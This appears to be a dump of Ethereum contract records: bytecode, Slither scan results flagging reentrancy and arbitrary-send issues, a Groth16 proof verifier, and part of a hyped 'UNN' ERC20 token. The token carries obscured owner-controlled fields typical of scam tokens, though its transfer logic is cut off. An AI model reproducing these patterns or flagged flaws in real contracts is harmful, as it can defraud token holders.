5093505050612ae1565b81819350935050505b9091565b6000806000806000806000806000612b028a600954600a54612c8e565b9250925092506000612b126127d6565b90506000806000612b258e878787612d24565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b8f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612231565b905092915050565b6000612ba16127d6565b90506000612bb8828461268690919063ffffffff16565b9050612c0c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6982600754612b4d90919063ffffffff16565b600781905550612c848160085461274b90919063ffffffff16565b6008819055505050565b600080600080612cba6064612cac888a61268690919063ffffffff16565b61270190919063ffffffff16565b90506000612ce46064612cd6888b61268690919063ffffffff16565b61270190919063ffffffff16565b90506000612d0d82612cff858c612b4d90919063ffffffff16565b612b4d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3d858961268690919063ffffffff16565b90506000612d54868961268690919063ffffffff16565b90506000612d6b878961268690919063ffffffff16565b90506000612d9482612d868587612b4d90919063ffffffff16565b612b4d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612dc0612dbb84613772565b61374d565b90508083825260208201905082856020860282011115612de357612de2613aef565b5b60005b85811015612e135781612df98882612e1d565b845260208401935060208301925050600181019050612de6565b5050509392505050565b600081359050612e2c81613e2b565b92915050565b600081519050612e4181613e2b565b92915050565b600081359050612e5681613e42565b92915050565b600082601f830112612e7157612e70613aea565b5b8135612e81848260208601612dad565b91505092915050565b600081359050612e9981613e59565b92915050565b600081519050612eae81613e59565b92915050565b600081359050612ec381613e70565b92915050565b600081519050612ed881613e70565b92915050565b600060208284031215612ef457612ef3613af9565b5b6000612f0284828501612e1d565b91505092915050565b600060208284031215612f2157612f20613af9565b5b6000612f2f84828501612e32565b91505092915050565b600060208284031215612f4e57612f4d613af9565b5b6000612f5c84828501612e47565b91505092915050565b60008060408385031215612f7c57612f7b613af9565b5b6000612f8a85828601612e1d565b9250506020612f9b85828601612e1d565b9150509250929050565b600080600060608486031215612fbe57612fbd613af9565b5b6000612fcc86828701612e1d565b9350506020612fdd86828701612e1d565b9250506040612fee86828701612eb4565b9150509250925092565b6000806040838503121561300f5761300e613af9565b5b600061301d85828601612e1d565b925050602061302e85828601612eb4565b9150509250929050565b60006020828403121561304e5761304d613af9565b5b600082013567ffffffffffffffff81111561306c5761306b613af4565b5b61307884828501612e5c565b91505092915050565b60006020828403121561309757613096613af9565b5b60006130a584828501612e8a565b91505092915050565b6000602082840312156130c4576130c3613af9565b5b60006130d284828501612e9f565b91505092915050565b6000602082840312156130f1576130f0613af9565b5b60006130ff84828501612eb4565b91505092915050565b60008060006060848603121561312157613120613af9565b5b600061312f86828701612ec9565b935050602061314086828701612ec9565b925050604061315186828701612ec9565b9150509250925092565b60006131678383613182565b60208301905092915050565b61317c8161391a565b82525050565b61318b81613908565b82525050565b61319a81613908565b82525050565b60006131ab826137ae565b6131b581856137d1565b93506131c08361379e565b8060005b838110156131f15781516131d8888261315b565b97506131e3836137c4565b9250506001810190506131c4565b5085935050505092915050565b6132078161392c565b82525050565b6132168161396f565b82525050565b6000613227826137b9565b61323181856137e2565b9350613241818560208601613981565b61324a81613afe565b840191505092915050565b60006132626023836137e2565b915061326d82613b0f565b604082019050919050565b6000613285602a836137e2565b915061329082613b5e565b604082019050919050565b60006132a86022836137e2565b91506132b382613bad565b604082019050919050565b60006132cb601b836137e2565b91506132d682613bfc565b602082019050919050565b60006132ee6021836137e2565b91506132f982613c25565b604082019050919050565b60006133116020836137e2565b915061331c82613c74565b602082019050919050565b60006133346029836137e2565b915061333f82613c9d565b604082019050919050565b60006133576025836137e2565b915061336282613cec565b604082019050919050565b600061337a6023836137e2565b915061338582613d3b565b604082019050919050565b600061339d6024836137e2565b91506133a882613d8a565b604082019050919050565b60006133c06017836137e2565b91506133cb82613dd9565b602082019050919050565b60006133e36018836137e2565b91506133ee82613e02565b602082019050919050565b61340281613958565b82525050565b61341181613962565b82525050565b600060208201905061342c6000830184613191565b92915050565b60006020820190506134476000830184613173565b92915050565b60006040820190506134626000830185613191565b61346f6020830184613191565b9392505050565b600060408201905061348b6000830185613191565b61349860208301846133f9565b9392505050565b600060c0820190506134b46000830189613191565b6134c160208301886133f9565b6134ce604083018761320d565b6134db606083018661320d565b6134e86080830185613191565b6134f560a08301846133f9565b979650505050505050565b600060208201905061351560008301846131fe565b92915050565b60006020820190508181036000830152613535818461321c565b905092915050565b6000602082019050818103600083015261355681613255565b9050919050565b6000602082019050818103600083015261357681613278565b9050919050565b600060208201905081810360008301526135968161329b565b9050919050565b600060208201905081810360008301526135b6816132be565b9050919050565b600060208201905081810360008301526135d6816132e1565b9050919050565b600060208201905081810360008301526135f681613304565b9050919050565b6000602082019050818103600083015261361681613327565b9050919050565b600060208201905081810360008301526136368161334a565b9050919050565b600060208201905081810360008301526136568161336d565b9050919050565b6000602082019050818103600083015261367681613390565b9050919050565b60006020820190508181036000830152613696816133b3565b9050919050565b600060208201905081810360008301526136b6816133d6565b9050919050565b60006020820190506136d260008301846133f9565b92915050565b600060a0820190506136ed60008301886133f9565b6136fa602083018761320d565b818103604083015261370c81866131a0565b905061371b6060830185613191565b61372860808301846133f9565b9695505050505050565b60006020820190506137476000830184613408565b92915050565b6000613757613768565b905061376382826139b4565b919050565b6000604051905090565b600067ffffffffffffffff82111561378d5761378c613abb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137fe82613958565b915061380983613958565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561383e5761383d613a2e565b5b828201905092915050565b600061385482613958565b915061385f83613958565b92508261386f5761386e613a5d565b5b828204905092915050565b600061388582613958565b915061389083613958565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138c9576138c8613a2e565b5b828202905092915050565b60006138df82613958565b91506138ea83613958565b9250828210156138fd576138fc613a2e565b5b828203905092915050565b600061391382613938565b9050919050565b600061392582613938565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061397a82613958565b9050919050565b60005b8381101561399f578082015181840152602081019050613984565b838111156139ae576000848401525b50505050565b6139bd82613afe565b810181811067ffffffffffffffff821117156139dc576139db613abb565b5b80604052505050565b60006139f082613958565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a2357613a22613a2e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613e3481613908565b8114613e3f57600080fd5b50565b613e4b8161391a565b8114613e5657600080fd5b50565b613e628161392c565b8114613e6d57600080fd5b50565b613e7981613958565b8114613e8457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f98e6584615a2b70b3c4cec042a74487621ed5903729706b389a4b7652177e5e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,074 |
0x4464A1E499cf5443541da6728871af1D5C4920ca
|
// SPDX-License-Identifier: AGPL-3.0
//
// Copyright 2017 Christian Reitwiessner
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// 2019 OKIMS
// ported to solidity 0.6
// fixed linter warnings
// added requiere error messages
//
//
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.11;
library Pairing {
struct G1Point {
uint X;
uint Y;
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint[2] X;
uint[2] Y;
}
/// @return the generator of G1
function P1() internal pure returns (G1Point memory) {
return G1Point(1, 2);
}
/// @return the generator of G2
function P2() internal pure returns (G2Point memory) {
// Original code point
return G2Point(
[11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
[4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]
);
/*
// Changed by Jordi point
return G2Point(
[10857046999023057135944570762232829481370756359578518086990519993285655852781,
11559732032986387107991004021392285783925812861821192530917403151452391805634],
[8495653923123431417604973247489272438418190587263600148770280649306958101930,
4082367875863433681332203403145435568316851327593401208105741076214120093531]
);
*/
}
/// @return r the negation of p, i.e. p.addition(p.negate()) should be zero.
function negate(G1Point memory p) internal pure returns (G1Point memory r) {
// The prime q in the base field F_q for G1
uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
if (p.X == 0 && p.Y == 0)
return G1Point(0, 0);
return G1Point(p.X, q - (p.Y % q));
}
/// @return r the sum of two points of G1
function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) {
uint[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success,"pairing-add-failed");
}
/// @return r the product of a point on G1 and a scalar, i.e.
/// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) {
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require (success,"pairing-mul-failed");
}
/// @return the result of computing the pairing check
/// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1
/// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
/// return true.
function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) {
require(p1.length == p2.length,"pairing-lengths-failed");
uint elements = p1.length;
uint inputSize = elements * 6;
uint[] memory input = new uint[](inputSize);
for (uint i = 0; i < elements; i++)
{
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint[1] memory out;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid() }
}
require(success,"pairing-opcode-failed");
return out[0] != 0;
}
/// Convenience method for a pairing check for two pairs.
function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for three pairs.
function pairingProd3(
G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](3);
G2Point[] memory p2 = new G2Point[](3);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for four pairs.
function pairingProd4(
G1Point memory a1, G2Point memory a2,
G1Point memory b1, G2Point memory b2,
G1Point memory c1, G2Point memory c2,
G1Point memory d1, G2Point memory d2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](4);
G2Point[] memory p2 = new G2Point[](4);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p1[3] = d1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
p2[3] = d2;
return pairing(p1, p2);
}
}
contract VerifierWithdraw {
using Pairing for *;
struct VerifyingKey {
Pairing.G1Point alfa1;
Pairing.G2Point beta2;
Pairing.G2Point gamma2;
Pairing.G2Point delta2;
Pairing.G1Point[] IC;
}
struct Proof {
Pairing.G1Point A;
Pairing.G2Point B;
Pairing.G1Point C;
}
function verifyingKey() internal pure returns (VerifyingKey memory vk) {
vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958);
vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]);
vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]);
vk.delta2 = Pairing.G2Point([8868105267613187343372644737552242453559543566473158540421625177805208395739,4448053714929739379905404954150840880565904698749708544799360690864220959618], [10721221894762687828296683283237492600699833445257473914098595330154935550557,10759668921592929924300238076447668640203683945802134071674019201847090828184]);
vk.IC = new Pairing.G1Point[](2);
vk.IC[0] = Pairing.G1Point(1236075739224222093527217122122373155890993807754795083486325331194264991809,16402217793693883494945175470197449161172120247390461678250316304895863629108);
vk.IC[1] = Pairing.G1Point(639580067677185628264165442784544121418477718445878514190672006562590353682,13296455779249205142581100669360977915800042274550493883216477569522005734669);
}
function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {
uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
VerifyingKey memory vk = verifyingKey();
require(input.length + 1 == vk.IC.length,"verifier-bad-input");
// Compute the linear combination vk_x
Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
for (uint i = 0; i < input.length; i++) {
require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field");
vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));
}
vk_x = Pairing.addition(vk_x, vk.IC[0]);
if (!Pairing.pairingProd4(
Pairing.negate(proof.A), proof.B,
vk.alfa1, vk.beta2,
vk_x, vk.gamma2,
proof.C, vk.delta2
)) return 1;
return 0;
}
/// @return r bool true if proof is valid
function verifyProof(
uint[2] memory a,
uint[2][2] memory b,
uint[2] memory c,
uint[1] memory input
) public view returns (bool r) {
Proof memory proof;
proof.A = Pairing.G1Point(a[0], a[1]);
proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);
proof.C = Pairing.G1Point(c[0], c[1]);
uint[] memory inputValues = new uint[](input.length);
for(uint i = 0; i < input.length; i++){
inputValues[i] = input[i];
}
if (verify(inputValues, proof) == 0) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d41565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d73565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610dba565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b60200260200101516107a0565b610835565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610835565b90506104016103dd86600001516108c6565b8660200151846000015185602001518587604001518b604001518960600151610952565b6104115760019350505050610419565b600093505050505b92915050565b610427610d73565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f139b2b7209267d58ed9ca61a910eee29de0434ea010a46dc72ff8c7c2fdb9fdb8185019081527f09d58259fae4d5923c47926bd728819b327a81765232f50e7c94535524ba7382828401528152835180850185527f17b3ff1df30ad665a317bb28bde0f3deaefdc63737297b3935ccef78b58b025d81527f17c9c1bd6eee93c697ebc5281cee995362cd4886b822f1658815451f34895398818501528184015281850152825160028082529181019093529082015b6106a8610dba565b8152602001906001900390816106a057505060808201908152604080518082019091527f02bb981558b197dbdee04bc2c3b72d351a1bd8df3a09454d4a0c08e65d3cb84181527f2443538740ba22821b711470515d3bcebfdf51153176eb1083fd4ac5af13253460208201529051805160009061072157fe5b602002602001018190525060405180604001604052807f0169fd4f357762e9fe71b21fecd70a4451493dc3aefe10b23e25b726b165e91281526020017f1d6586fb965c37950524caf74ab66ddbbc63090719fa20e78473525d4df4750d815250816080015160018151811061079257fe5b602002602001018190525090565b6107a8610dba565b6107b0610dd4565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e3576107e5565bfe5b508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083d610dba565b610845610df2565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e357508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108ce610dba565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090157506020830151155b15610921575050604080518082019091526000808252602082015261094d565b6040518060400160405280846000015181526020018285602001518161094357fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610976610dba565b81526020019060019003908161096e57505060408051600480825260a0820190925291925060609190602082015b6109ac610e10565b8152602001906001900390816109a45790505090508a826000815181106109cf57fe5b602002602001018190525088826001815181106109e857fe5b60200260200101819052508682600281518110610a0157fe5b60200260200101819052508482600381518110610a1a57fe5b60200260200101819052508981600081518110610a3357fe5b60200260200101819052508781600181518110610a4c57fe5b60200260200101819052508581600281518110610a6557fe5b60200260200101819052508381600381518110610a7e57fe5b6020026020010181905250610a938282610aa2565b9b9a5050505050505050505050565b60008151835114610af3576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1257600080fd5b50604051908082528060200260200182016040528015610b3c578160200160208202803683370190505b50905060005b83811015610cc157868181518110610b5657fe5b602002602001015160000151828260060260000181518110610b7457fe5b602002602001018181525050868181518110610b8c57fe5b602002602001015160200151828260060260010181518110610baa57fe5b602002602001018181525050858181518110610bc257fe5b602090810291909101015151518251839060026006850201908110610be357fe5b602002602001018181525050858181518110610bfb57fe5b60209081029190910101515160016020020151828260060260030181518110610c2057fe5b602002602001018181525050858181518110610c3857fe5b602002602001015160200151600060028110610c5057fe5b6020020151828260060260040181518110610c6757fe5b602002602001018181525050858181518110610c7f57fe5b602002602001015160200151600160028110610c9757fe5b6020020151828260060260050181518110610cae57fe5b6020908102919091010152600101610b42565b50610cca610e30565b6000602082602086026020860160086107d05a03fa90508080156107e3575080610d33576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d54610dba565b8152602001610d61610e10565b8152602001610d6e610dba565b905290565b6040518060a00160405280610d86610dba565b8152602001610d93610e10565b8152602001610da0610e10565b8152602001610dad610e10565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e23610e4e565b8152602001610d6e610e4e565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea2646970667358221220bc53f88e555d8c9af468ad559de776c3262b425a314a4846c2f83847f708633164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,075 |
0xfbbf45e89b67a20a7acde5a30016f3975f283d73
|
//--------------------------------------------
//Website:https://unn.fund
//10X on $UNN easy!
//---------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
